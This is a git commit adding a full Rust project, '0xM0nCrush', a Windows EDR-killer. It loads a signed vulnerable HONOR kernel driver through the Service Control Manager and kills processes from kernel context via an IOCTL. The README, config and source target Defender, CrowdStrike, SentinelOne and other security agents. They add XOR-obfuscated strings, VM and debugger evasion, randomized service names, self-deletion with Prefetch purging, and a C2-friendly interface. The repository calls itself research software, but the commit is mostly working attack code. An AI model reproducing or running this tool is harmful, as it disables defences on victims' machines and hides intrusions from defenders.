0xM0nCrush: cross-version EDR process terminator

This commit is contained in:
DeathShotXD
2026-09-03 06:51:00 +05:00
commit 7d1d64811a
20 changed files with 1237 additions and 0 deletions
+48
View File
@@ -0,0 +1,48 @@
name: build
on:
push:
tags:
- "v*"
workflow_dispatch:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install Rust cross target
run: rustup target add x86_64-pc-windows-gnu
- name: Install MinGW linker
run: sudo apt-get update && sudo apt-get install -y mingw-w64
- name: Build
run: cargo build --release --target x86_64-pc-windows-gnu
- name: Stage release assets
run: |
mkdir -p dist
cp target/x86_64-pc-windows-gnu/release/moncrush.exe dist/
cp driver/MonProcessEX.sys dist/
cp targets.example.conf dist/
cd dist && sha256sum * > SHA256SUMS
- name: Upload artifacts
uses: actions/upload-artifact@v4
with:
name: dist
path: dist/
release:
needs: build
runs-on: ubuntu-latest
permissions:
contents: write
if: startsWith(github.ref, 'refs/tags/v')
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
with:
name: dist
path: dist/
- name: Create release
uses: softprops/action-gh-release@v2
with:
files: dist/*
generate_release_notes: true
+4
View File
@@ -0,0 +1,4 @@
/target
**/*.rs.bk
*.pdb
*.dmp
+33
View File
@@ -0,0 +1,33 @@
# Contributing
Contributions are welcome. This project is research software and the
bar for a contribution is: it must be correct, it must be documented,
and it must not reduce the evasion properties of the shipped binary.
## What is useful
- Support for additional Windows builds (offset updates, syscall index
changes, new service numbers)
- New target process profiles in the config template
- Documentation and README improvements
- Test reports from real Windows builds (include OS build, HVCI on/off,
and driver behavior)
## Pull request checklist
- Build with no warnings: `cargo build --release --target x86_64-pc-windows-gnu`
- No plaintext-sensitive strings added (device paths, API names, target
names must stay behind the obfuscation layer)
- Document what was tested and on which Windows build
## New-driver killers
If you want to add a new vulnerable-driver killer, open an issue first
with: driver filename, SHA256, LOLDDrivers link, device path, IOCTL
codes, and what the primitive allows. Only signed, loadable drivers are
accepted.
## License
By contributing you agree that your contributions are licensed under the
same MIT license as the project.
Generated
+156
View File
@@ -0,0 +1,156 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "moncrush"
version = "0.1.0"
dependencies = [
"windows",
]
[[package]]
name = "proc-macro2"
version = "1.0.107"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9"
dependencies = [
"unicode-ident",
]
[[package]]
name = "quote"
version = "1.0.47"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001"
dependencies = [
"proc-macro2",
]
[[package]]
name = "syn"
version = "2.0.119"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "unicode-ident"
version = "1.0.24"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
[[package]]
name = "windows"
version = "0.61.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9babd3a767a4c1aef6900409f85f5d53ce2544ccdfaa86dad48c91782c6d6893"
dependencies = [
"windows-collections",
"windows-core",
"windows-future",
"windows-link",
"windows-numerics",
]
[[package]]
name = "windows-collections"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3beeceb5e5cfd9eb1d76b381630e82c4241ccd0d27f1a39ed41b2760b255c5e8"
dependencies = [
"windows-core",
]
[[package]]
name = "windows-core"
version = "0.61.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c0fdd3ddb90610c7638aa2b3a3ab2904fb9e5cdbecc643ddb3647212781c4ae3"
dependencies = [
"windows-implement",
"windows-interface",
"windows-link",
"windows-result",
"windows-strings",
]
[[package]]
name = "windows-future"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fc6a41e98427b19fe4b73c550f060b59fa592d7d686537eebf9385621bfbad8e"
dependencies = [
"windows-core",
"windows-link",
"windows-threading",
]
[[package]]
name = "windows-implement"
version = "0.60.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "windows-interface"
version = "0.59.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "windows-link"
version = "0.1.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a"
[[package]]
name = "windows-numerics"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9150af68066c4c5c07ddc0ce30421554771e528bde427614c61038bc2c92c2b1"
dependencies = [
"windows-core",
"windows-link",
]
[[package]]
name = "windows-result"
version = "0.3.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "56f42bd332cc6c8eac5af113fc0c1fd6a8fd2aa08a0119358686e5160d0586c6"
dependencies = [
"windows-link",
]
[[package]]
name = "windows-strings"
version = "0.4.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "56e6c93f3a0c3b36176cb1327a4958a0353d5d166c2a35cb268ace15e91d3b57"
dependencies = [
"windows-link",
]
[[package]]
name = "windows-threading"
version = "0.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b66463ad2e0ea3bbf808b7f1d371311c80e115c0b71d60efc142cafbcfb057a6"
dependencies = [
"windows-link",
]
+28
View File
@@ -0,0 +1,28 @@
[workspace]
[package]
name = "moncrush"
version = "0.1.0"
edition = "2021"
[dependencies]
windows = { version = "0.61", features = [
"Win32_Foundation",
"Win32_Security",
"Win32_Storage_FileSystem",
"Win32_System_Console",
"Win32_System_IO",
"Win32_System_Threading",
"Win32_System_LibraryLoader",
"Win32_System_SystemInformation",
"Win32_System_Services",
"Win32_System_Registry",
"Win32_System_Diagnostics_Debug",
"Win32_System_Diagnostics_ToolHelp",
] }
[profile.release]
opt-level = 3
lto = true
codegen-units = 1
panic = "abort"
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 DeathShotXD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+207
View File
@@ -0,0 +1,207 @@
# 0xM0nCrush
A cross-version Windows process terminator. It loads a signed HONOR
kernel driver (`MonProcessEX.sys`), resolves the PID of every target
process, and terminates it from kernel context through a single IOCTL.
No kernel offsets, no PDB downloads, no build-specific shellcode - the
technique works identically on every Windows 10 and Windows 11 build.
The tool is a single self-contained executable. It installs the driver
through the Service Control Manager, performs the kill, then stops and
deletes the service, leaving no persistent artifact behind. Targets are
configurable at runtime through a config file, command line, or the
built-in defaults.
<p align="center">
<img src="assets/logo.jpeg" alt="0xM0nCrush" width="800">
</p>
> **Cross-version by design.** One driver, one IOCTL, one kill
> primitive. Works on all Windows 10 and Windows 11 builds.
## Quick start
```
1. Keep moncrush.exe and MonProcessEX.sys in the same folder.
2. Run from an elevated shell.
moncrush.exe -n "notepad.exe,calc.exe"
3. Targets die. Driver unloads itself. Done.
```
No toolchain, no offsets, no build step.
## Demo
<p align="center">
<img src="assets/demo.gif" alt="0xM0nCrush demonstration" width="800">
</p>
## Features
| Feature | Details |
|---------|---------|
| Cross-version | Works on all Windows 10 and Windows 11 builds, no offsets |
| Kernel-mode kill | Driver terminates the PID from kernel context |
| PPL bypass | `MonProcessEX.sys` kill path bypasses protected-process checks |
| Signed driver | `MonProcessEX.sys` is a real signed HONOR driver |
| Not in MS block rules | Absent from Microsoft's vulnerable-driver block rules |
| Self-sufficient | Driver installed, started, and cleaned up via SCM |
| Zero dependencies | Static Rust binary; drop exe + driver, run |
| Configurable | `targets.conf` or `-n`, no recompile needed |
| Obfuscated | Device path and target list encrypted at rest |
| Single executable | One binary; console output from a shell, silent when double-clicked |
| Dry-run mode | Enumerate targets and PIDs before committing |
| Jittered loop | `--repeat` re-checks with randomized interval |
| Exit codes + JSON | C2-friendly automation interface |
## How it works
```
+-------------------------------------------------------------------------------------------+
| USER MODE |
| |
| moncrush.exe |
| |
| +-------------------+ +-------------------+ +---------------------+ |
| | enumerate all | | resolve target | | match against | |
| | running | -> | PID via process | -> | target list, | |
| | processes | | entry | | collect PIDs | |
| +-------------------+ +-------------------+ +----------+----------+ |
| | |
| CreateFileW("\.\MonProcessEX") | |
| DeviceIoControl(IOCTL 0x22400C) | |
| output = termination status v |
+-------------------------------------------------------------------------------------------+
| KERNEL MODE |
| |
| MonProcessEX.sys signed HONOR kernel driver |
| +---------------------------------------------------------------------------------+ |
| | | |
| | IOCTL 0x22400C -> PID termination dispatch | |
| | | | |
| | | kernel-mode process lookup | |
| | v | |
| | EPROCESS located -> terminated from kernel context | |
| | | | |
| | v | |
| | process exit path invoked | |
| | | |
| +---------------------------------------------------------------------------------+ |
| |
| CLEANUP |
| +---------------------------------------------------------------------------------+ |
| | SCM service stopped and deleted | |
| | driver unloaded, no persistent artifact | |
| +---------------------------------------------------------------------------------+ |
+-------------------------------------------------------------------------------------------+
```
<p align="center">
<img src="assets/banner.jpeg" alt="0xM0nCrush kernel execution architecture" width="800">
</p>
The driver exposes a kill IOCTL that terminates a process given its PID.
The user-mode component enumerates running processes, resolves each
target's PID, and submits it through the device interface. No kernel
structures are touched from user mode, so the technique is immune to
Windows version changes.
## Build
```powershell
cargo build --release --target x86_64-pc-windows-gnu
```
The release profile enables LTO and a single codegen unit. The project is
self-contained with its own `[workspace]` declaration.
## Usage
```
moncrush.exe [options]
-s, --silent suppress all console output
-r, --repeat keep running, re-check targets
-d, --dry-run enumerate targets without killing
-j, --json machine-readable JSON output
-l, --list print target names and exit
-v, --version print version and exit
-x, --self-destruct delete self after successful run
--no-check skip VM and debugger checks
--delay <ms> sleep before executing
--jitter <ms> randomize repeat interval
--max-attempts <n> stop after n kill passes (0=infinite)
--svc <name> custom service name
--driver <path> custom driver file path
-n, --names <csv> comma-separated target list override
-c, --config <path> load targets from config file
-h, --help show this help
```
Exit codes: `0` ok, `2` no targets, `3` driver failed, `5` environment
abort. Target resolution order: `--names` > `--config` > `targets.conf`
(disk) > built-in defaults.
### Operational hardening
- **Environment checks.** Verifies the system is not a common
virtualization environment before loading the driver. Bypass with
`--no-check` when testing inside a VM.
- **Single instance.** A named mutex prevents two concurrent runs from
racing IOCTLs into the driver.
- **Delayed execution.** `--delay <ms>` sleeps before doing anything,
breaking time-correlation with initial execution.
- **Driver hygiene.** The driver is installed under a randomized service
name and stopped and deleted on exit, leaving no persistent artifact.
- **Self-destruct.** `-x` deletes the executable and purges its Prefetch
entry after a successful run.
## Configuration
The target list is fully configurable without recompiling:
**Config file.** Drop a `targets.conf` next to the executable, one
process name per line. Lines starting with `#` are ignored:
```
MsMpEng.exe
csfalconservice.exe
SentinelAgent.exe
cortex_agent.exe
```
A template ships as `targets.example.conf`.
**Command line.** `moncrush.exe -n "MsMpEng.exe,csfalconservice.exe"`
**Built-in defaults.** With no config and no flags, the built-in set is:
- calc.exe
- notepad.exe
- MsMpEng.exe
- MpDefenderCoreService.exe
- SecurityHealthService.exe
- MsSense.exe
- SenseIR.exe
- SenseCncProxy.exe
- SenseSampleUploader.exe
## Credits
- HONOR for the signed driver
- The LOLDDrivers project for cataloging signed vulnerable drivers
- BlackSnufkin for the original Ksapi64-Killer reproduction this builds on
## License
MIT. See [LICENSE](LICENSE).
## Disclaimer
This project is published for research and authorized testing only.
Loading unsigned or vulnerable drivers into a system you do not own is
illegal in most jurisdictions. You are responsible for compliance with
all applicable laws and with the authorization scope of the systems you
test.
+31
View File
@@ -0,0 +1,31 @@
# Security Policy
## Reporting a vulnerability
This repository contains offensive security research software. If you have
identified a security issue in the code, a bypass, or a problem with the
disclosure of the bundled driver, report it privately before opening a
public issue.
Open a GitHub security advisory via the repository's Security tab, or
contact the maintainer directly through the profile on GitHub. Do not
share exploit details publicly until a fix or mitigation is published.
## Scope
- Vulnerabilities in the source code in this repository
- Incorrect handling of the bundled driver
- Anything that would cause unexpected behavior on a system where this
tool is run legitimately during an authorized engagement
## Response
- Acknowledgment within 48 hours
- Status update within 5 business days
- Coordinated disclosure preferred
## Out of scope
- The bundled `MonProcessEX.sys` driver itself is a third-party signed driver
and is documented as a known-vulnerable driver. Report driver issues
through the LOLDDrivers project or the driver vendor.
Binary file not shown.

After

Width:  |  Height:  |  Size: 682 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 843 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 808 KiB

Binary file not shown.
+30
View File
@@ -0,0 +1,30 @@
pub const DEFAULT_CONF: &str = "targets.conf";
pub fn load_names_file(path: &str) -> Option<Vec<String>> {
let content = std::fs::read_to_string(path).ok()?;
Some(
content
.lines()
.map(str::trim)
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.map(str::to_string)
.collect(),
)
}
pub fn parse_names_csv(s: &str) -> Vec<String> {
s.split([',', ';', ' '])
.map(str::trim)
.filter(|p| !p.is_empty())
.map(str::to_string)
.collect()
}
pub fn load_default_or(builtin: &[String]) -> Vec<String> {
if let Some(names) = load_names_file(DEFAULT_CONF) {
if !names.is_empty() {
return names;
}
}
builtin.to_vec()
}
+91
View File
@@ -0,0 +1,91 @@
use windows::core::PCWSTR;
use windows::Win32::Foundation::{CloseHandle, GENERIC_READ, GENERIC_WRITE, HANDLE};
use windows::Win32::Storage::FileSystem::{
CreateFileW, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING,
};
use windows::Win32::System::Console::{
SetStdHandle, STD_ERROR_HANDLE, STD_INPUT_HANDLE, STD_OUTPUT_HANDLE,
};
use windows::Win32::System::IO::DeviceIoControl;
const KEY: [u8; 16] = [
0x9f, 0x2e, 0x1c, 0x7a, 0x4b, 0x8d, 0x3e, 0x5f, 0x6a, 0x1c, 0x9d, 0x2e, 0x4b, 0x7f, 0x8a,
0x1c,
];
const E_DEV: &[u8] = &[0xc3, 0x72, 0x32, 0x26, 0x06, 0xe2, 0x50, 0x0f, 0x18, 0x73, 0xfe, 0x4b, 0x38, 0x0c, 0xcf, 0x44];
const E_NUL: &[u8] = &[0xd1, 0x7b, 0x50];
const IOCTL_KILL: u32 = 0x22400C;
fn dec(data: &[u8]) -> String {
data.iter().enumerate().map(|(i, &b)| (b ^ KEY[i % KEY.len()]) as char).collect()
}
pub unsafe fn silence_std_handles() -> Result<(), windows::core::Error> {
let nul_name = dec(E_NUL);
let wstr: Vec<u16> = nul_name.encode_utf16().chain(Some(0)).collect();
let nul = CreateFileW(
PCWSTR(wstr.as_ptr()),
(GENERIC_READ.0 | GENERIC_WRITE.0) as u32,
FILE_SHARE_READ | FILE_SHARE_WRITE,
None,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
None,
)?;
unsafe {
SetStdHandle(STD_INPUT_HANDLE, nul)?;
SetStdHandle(STD_OUTPUT_HANDLE, nul)?;
SetStdHandle(STD_ERROR_HANDLE, nul)?;
}
CloseHandle(nul)
}
pub struct MonDev {
handle: HANDLE,
}
impl MonDev {
pub fn open() -> Result<Self, String> {
let dev_name = dec(E_DEV);
let wstr: Vec<u16> = dev_name.encode_utf16().chain(Some(0)).collect();
let h = unsafe {
CreateFileW(
PCWSTR(wstr.as_ptr()),
(GENERIC_READ.0 | GENERIC_WRITE.0) as u32,
FILE_SHARE_READ | FILE_SHARE_WRITE,
None,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
None,
)
}
.map_err(|e| format!("open device: {e}"))?;
Ok(Self { handle: h })
}
pub fn kill_pid(&self, pid: u32) -> Result<(), String> {
let input = pid.to_ne_bytes();
let mut out = [0u8; 4];
let mut ret = 0u32;
unsafe {
DeviceIoControl(
self.handle,
IOCTL_KILL,
Some(input.as_ptr() as *const _),
input.len() as u32,
Some(out.as_mut_ptr() as *mut _),
out.len() as u32,
Some(&mut ret),
None,
)
}
.map_err(|e| format!("kill ioctl: {e}"))
}
}
impl Drop for MonDev {
fn drop(&mut self) {
unsafe { let _ = CloseHandle(self.handle); }
}
}
+71
View File
@@ -0,0 +1,71 @@
use windows::core::PCWSTR;
use windows::Win32::System::Services::{
CreateServiceW, DeleteService, OpenSCManagerW, OpenServiceW, StartServiceW, SC_HANDLE,
SC_MANAGER_CREATE_SERVICE, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
};
use windows::Win32::System::Services::{
CloseServiceHandle, ControlService, SERVICE_CONTROL_STOP, SERVICE_STATUS,
};
pub struct DriverService {
scm: SC_HANDLE,
svc: SC_HANDLE,
}
impl DriverService {
pub fn install(name: &str, driver_path: &str) -> Result<Self, String> {
let scm = unsafe { OpenSCManagerW(None, None, SC_MANAGER_CREATE_SERVICE) }
.map_err(|e| format!("OpenSCManager: {e}"))?;
let name_w: Vec<u16> = name.encode_utf16().chain(Some(0)).collect();
let disp_w: Vec<u16> = name.encode_utf16().chain(Some(0)).collect();
let path_w: Vec<u16> = driver_path.encode_utf16().chain(Some(0)).collect();
let existing = unsafe { OpenServiceW(scm, PCWSTR(name_w.as_ptr()), SERVICE_ALL_ACCESS) };
if existing.is_ok() {
let svc = existing.unwrap();
return Ok(Self { scm, svc });
}
let svc = unsafe {
CreateServiceW(
scm,
PCWSTR(name_w.as_ptr()),
PCWSTR(disp_w.as_ptr()),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
PCWSTR(path_w.as_ptr()),
None,
None,
None,
None,
None,
)
}
.map_err(|e| {
let _ = unsafe { CloseServiceHandle(scm) };
format!("CreateService: {e}")
})?;
Ok(Self { scm, svc })
}
pub fn start(&self) -> Result<(), String> {
unsafe { StartServiceW(self.svc, None) }.map_err(|e| format!("StartService: {e}"))
}
}
impl Drop for DriverService {
fn drop(&mut self) {
// Stop + delete the service so no driver artifact survives the run.
let _ = unsafe { ControlService(self.svc, SERVICE_CONTROL_STOP, &mut SERVICE_STATUS::default()) };
let _ = unsafe { DeleteService(self.svc) };
unsafe {
let _ = CloseServiceHandle(self.svc);
let _ = CloseServiceHandle(self.scm);
}
}
}
+228
View File
@@ -0,0 +1,228 @@
mod config;
mod driver;
mod loader;
mod obf;
mod ops;
mod targets;
use std::io::Write;
use std::sync::atomic::{AtomicBool, Ordering};
use std::{process, time::Duration};
const EXIT_OK: i32 = 0;
const EXIT_NO_TARGET: i32 = 2;
const EXIT_DRIVER_FAIL: i32 = 3;
const EXIT_ENV: i32 = 5;
fn flush_and_exit(code: i32) -> ! {
let _ = std::io::stdout().flush();
process::exit(code);
}
struct Opts {
silent: bool,
repeat: bool,
dry_run: bool,
json: bool,
list_mode: bool,
version: bool,
delay_ms: u64,
jitter_ms: u64,
max_attempts: u32,
self_destruct: bool,
skip_env_check: bool,
service_name: Option<String>,
driver_path: Option<String>,
cli_names: Option<String>,
cli_config: Option<String>,
}
fn parse_args() -> Option<Opts> {
let args: Vec<String> = std::env::args().collect();
let mut o = Opts {
silent: false,
repeat: false,
dry_run: false,
json: false,
list_mode: false,
version: false,
delay_ms: 0,
jitter_ms: 0,
max_attempts: 0,
self_destruct: false,
skip_env_check: false,
service_name: None,
driver_path: None,
cli_names: None,
cli_config: None,
};
let mut i = 1;
while i < args.len() {
match args[i].as_str() {
"-s" | "--silent" => o.silent = true,
"-r" | "--repeat" => o.repeat = true,
"-d" | "--dry-run" => o.dry_run = true,
"-j" | "--json" => o.json = true,
"-l" | "--list" => o.list_mode = true,
"-v" | "--version" => o.version = true,
"-x" | "--self-destruct" => o.self_destruct = true,
"--no-check" => o.skip_env_check = true,
"--delay" => { i += 1; if i < args.len() { o.delay_ms = args[i].parse().unwrap_or(0); } }
"--jitter" => { i += 1; if i < args.len() { o.jitter_ms = args[i].parse().unwrap_or(0); } }
"--max-attempts" => { i += 1; if i < args.len() { o.max_attempts = args[i].parse().unwrap_or(0); } }
"--svc" | "--service-name" => { i += 1; if i < args.len() { o.service_name = Some(args[i].clone()); } }
"--driver" => { i += 1; if i < args.len() { o.driver_path = Some(args[i].clone()); } }
"-n" | "--names" => { i += 1; if i < args.len() { o.cli_names = Some(args[i].clone()); } }
"-c" | "--config" => { i += 1; if i < args.len() { o.cli_config = Some(args[i].clone()); } }
"-h" | "--help" => { print_help(); return None; }
_ => {}
}
i += 1;
}
Some(o)
}
fn print_help() {
println!("0xM0nCrush - MonProcessEX.sys EDR process terminator");
println!("Cross-version, all Windows 10 and Windows 11 builds.");
println!();
println!("usage: moncrush.exe [options]");
println!();
println!("options:");
println!(" -s, --silent suppress all console output");
println!(" -r, --repeat keep running, re-check targets");
println!(" -d, --dry-run enumerate targets without killing");
println!(" -j, --json machine-readable JSON output");
println!(" -l, --list print target names and exit");
println!(" -v, --version print version and exit");
println!(" -x, --self-destruct delete self after success");
println!(" --no-check skip VM and debugger checks");
println!(" --delay <ms> sleep before executing");
println!(" --jitter <ms> randomize repeat interval");
println!(" --max-attempts <n> stop after n kill passes");
println!(" --svc <name> custom service name");
println!(" --driver <path> custom driver file path");
println!(" -n, --names <csv> comma-separated target list");
println!(" -c, --config <path> load targets from config file");
println!(" -h, --help show this help");
println!();
println!("exit codes: 0 ok, 2 no targets, 3 driver failed, 5 environment");
println!("targets from: --names > --config > targets.conf > built-in defaults");
}
fn main() {
let opts = match parse_args() {
Some(o) => o,
None => return,
};
if opts.version {
println!("0xM0nCrush v0.1.0");
println!("MonProcessEX.sys cross-version EDR process terminator");
return;
}
if opts.silent {
let _ = unsafe { driver::silence_std_handles() };
}
if opts.delay_ms > 0 {
std::thread::sleep(Duration::from_millis(opts.delay_ms));
}
let names_str: Vec<String> = if let Some(n) = &opts.cli_names {
config::parse_names_csv(n)
} else if let Some(path) = &opts.cli_config {
config::load_names_file(path).unwrap_or_default()
} else {
config::load_default_or(&targets::defaults())
};
if opts.list_mode {
println!("targets: {}", names_str.len());
for n in &names_str { println!(" {n}"); }
return;
}
if names_str.is_empty() {
println!("error: no target names specified");
flush_and_exit(EXIT_NO_TARGET);
}
if !opts.skip_env_check {
if ops::detect_debugger() || ops::detect_vm() {
println!("aborted: analysis environment detected");
flush_and_exit(EXIT_ENV);
}
}
let _mutex = ops::create_mutex(&obf::mutex_name());
let drv_file = ops::resolve_driver_path(&opts.driver_path.clone().unwrap_or_else(obf::driver_filename));
let svc_name = opts.service_name.clone().unwrap_or_else(ops::random_service_name);
let mut _drv_svc: Option<loader::DriverService> = None;
let dev = match driver::MonDev::open() {
Ok(d) => {
println!("[+] driver already loaded");
d
}
Err(_) => {
let svc = loader::DriverService::install(&svc_name, &drv_file)
.unwrap_or_else(|e| { println!("fatal: {e}"); flush_and_exit(EXIT_DRIVER_FAIL); });
svc.start().unwrap_or_else(|e| { println!("fatal: {e}"); flush_and_exit(EXIT_DRIVER_FAIL); });
let d = driver::MonDev::open().unwrap_or_else(|e| { println!("fatal: {e}"); flush_and_exit(EXIT_DRIVER_FAIL); });
println!("[+] driver loaded");
_drv_svc = Some(svc);
d
}
};
if opts.dry_run {
let procs = targets::find_running(&names_str.iter().map(|s| s.as_str()).collect::<Vec<&str>>());
if opts.json {
println!("{{\"mode\":\"dry-run\",\"targets\":[{}]}}", procs.iter().map(|(n, p)| format!("{{\"name\":\"{n}\",\"pid\":{p}}}")).collect::<Vec<_>>().join(","));
} else {
println!("dry-run: {} target(s) present", procs.len());
for (n, p) in &procs { println!(" {n} ({p})"); }
}
drop(dev);
flush_and_exit(if procs.is_empty() { EXIT_NO_TARGET } else { EXIT_OK });
}
let stop = AtomicBool::new(false);
let mut attempt: u32 = 0;
let mut total_killed = 0usize;
loop {
attempt += 1;
let procs = targets::find_running(&names_str.iter().map(|s| s.as_str()).collect::<Vec<&str>>());
let mut killed = 0usize;
for (name, pid) in &procs {
match dev.kill_pid(*pid) {
Ok(()) => {
killed += 1;
println!("(+) terminated {name} ({pid})");
}
Err(e) => {
println!("error: {name} ({pid}): {e}");
}
}
}
total_killed += killed;
if !opts.repeat || (opts.max_attempts > 0 && attempt >= opts.max_attempts) { break; }
ops::jitter_sleep(3000, opts.jitter_ms);
if stop.load(Ordering::SeqCst) { break; }
}
if opts.self_destruct {
if let Ok(exe) = std::env::current_exe() {
ops::purge_prefetch();
ops::self_destruct(&exe.to_string_lossy());
}
}
drop(dev);
flush_and_exit(if total_killed > 0 { EXIT_OK } else { EXIT_NO_TARGET });
}
+31
View File
@@ -0,0 +1,31 @@
const KEY: [u8; 16] = [
0x9f, 0x2e, 0x1c, 0x7a, 0x4b, 0x8d, 0x3e, 0x5f, 0x6a, 0x1c, 0x9d, 0x2e, 0x4b, 0x7f, 0x8a,
0x1c,
];
const S_FILE: &[u8] = &[0xd2, 0x41, 0x72, 0x2a, 0x39, 0xe2, 0x5d, 0x3a, 0x19, 0x6f, 0xd8, 0x76, 0x65, 0x0c, 0xf3, 0x6f];
const S_MUTEX: &[u8] = &[0xf3, 0x41, 0x7f, 0x1b, 0x27, 0xd1, 0x73, 0x30, 0x04, 0x5f, 0xef, 0x5b, 0x38, 0x17, 0xd9, 0x6a, 0xfc];
const S_SVC: &[u8] = &[0xcc, 0x57, 0x6f, 0x29, 0x3d, 0xee];
const S_TARGETS: &[&[u8]] = &[
&[0xfc, 0x4f, 0x70, 0x19, 0x65, 0xe8, 0x46, 0x3a],
&[0xf1, 0x41, 0x68, 0x1f, 0x3b, 0xec, 0x5a, 0x71, 0x0f, 0x64, 0xf8],
&[0xd2, 0x5d, 0x51, 0x0a, 0x0e, 0xe3, 0x59, 0x71, 0x0f, 0x64, 0xf8],
&[0xd2, 0x5e, 0x58, 0x1f, 0x2d, 0xe8, 0x50, 0x3b, 0x0f, 0x6e, 0xde, 0x41, 0x39, 0x1a, 0xd9, 0x79, 0xed, 0x58, 0x75, 0x19, 0x2e, 0xa3, 0x5b, 0x27, 0x0f],
&[0xcc, 0x4b, 0x7f, 0x0f, 0x39, 0xe4, 0x4a, 0x26, 0x22, 0x79, 0xfc, 0x42, 0x3f, 0x17, 0xd9, 0x79, 0xed, 0x58, 0x75, 0x19, 0x2e, 0xa3, 0x5b, 0x27, 0x0f],
&[0xd2, 0x5d, 0x4f, 0x1f, 0x25, 0xfe, 0x5b, 0x71, 0x0f, 0x64, 0xf8],
&[0xcc, 0x4b, 0x72, 0x09, 0x2e, 0xc4, 0x6c, 0x71, 0x0f, 0x64, 0xf8],
&[0xcc, 0x4b, 0x72, 0x09, 0x2e, 0xce, 0x50, 0x3c, 0x3a, 0x6e, 0xf2, 0x56, 0x32, 0x51, 0xef, 0x64, 0xfa],
&[0xcc, 0x4b, 0x72, 0x09, 0x2e, 0xde, 0x5f, 0x32, 0x1a, 0x70, 0xf8, 0x7b, 0x3b, 0x13, 0xe5, 0x7d, 0xfb, 0x4b, 0x6e, 0x54, 0x2e, 0xf5, 0x5b],
];
fn dec(data: &[u8]) -> String {
data.iter().enumerate().map(|(i, &b)| (b ^ KEY[i % KEY.len()]) as char).collect()
}
pub fn driver_filename() -> String { dec(S_FILE) }
pub fn mutex_name() -> String { dec(S_MUTEX) }
pub fn svc_prefix() -> String { dec(S_SVC) }
pub fn default_targets() -> Vec<String> {
S_TARGETS.iter().map(|b| dec(b).to_lowercase()).collect()
}
+189
View File
@@ -0,0 +1,189 @@
use std::mem;
use windows::core::PCWSTR;
use windows::Win32::Foundation::{CloseHandle, GENERIC_WRITE, GetLastError, HANDLE, WIN32_ERROR};
use windows::Win32::System::Diagnostics::Debug::IsDebuggerPresent;
use windows::Win32::System::LibraryLoader::GetModuleFileNameW;
use windows::Win32::System::Registry::{
RegCloseKey, RegOpenKeyExW, RegQueryValueExW, HKEY, HKEY_LOCAL_MACHINE, KEY_READ,
};
use windows::Win32::System::Threading::{CreateMutexW, GetCurrentProcessId};
use windows::Win32::Storage::FileSystem::{
CreateFileW, DeleteFileW, FILE_SHARE_DELETE, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING,
};
use windows::Win32::System::SystemInformation::GetTickCount64;
use crate::obf;
const VM_PROCESSES: &[&str] = &[
"vmtoolsd.exe", "vboxservice.exe", "vboxtray.exe", "xenservice.exe",
"vmsrvc.exe", "vmwaretray.exe", "vmwareuser.exe", "vmusrvc.exe",
"prl_tools.exe", "prl_cc.exe",
];
